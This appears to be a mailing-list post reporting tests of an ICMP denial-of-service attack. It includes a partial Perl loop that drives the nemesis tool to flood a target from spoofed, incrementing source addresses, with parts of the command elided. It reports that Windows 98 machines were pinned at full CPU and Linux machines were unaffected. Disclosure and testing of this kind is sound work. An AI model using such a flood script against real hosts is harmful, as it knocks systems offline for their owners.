I've just made some tests following the described example at:
http://gandalf.home.digital.net/TestProc.txt

To use different src addresses in the attack i've used the following
example:

#!/usr/bin/perl

$src=$ARGV[1];

if($src=~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/) {

$one=$1;
$two=$2;
$three=$3;
$four=$4;

}
while(1) {

system("nemesis icmp -S $one.$two.$three.$four -D $ARGV[0] ....... );
..................
..................

$four++;
if($four>=254) { $three++; $four=1; }
if($three>=254) { $two++; $three=1; }
if($two>=254) { $one++; $two=1; }
#sleep(2);
}

I've tested the attack on 4 machines..
The first two were running windows 98 SE with all patches and service
packs... the CPU stuck the 100% as soon as the attack started..

The last two machines were running Fedora Core 1 Linux and RedHat Linux
9... no success here... the attack seems not to bother the normal work
of the PCs... The RedHat Linux uses kernel-2.4.20-30.9...
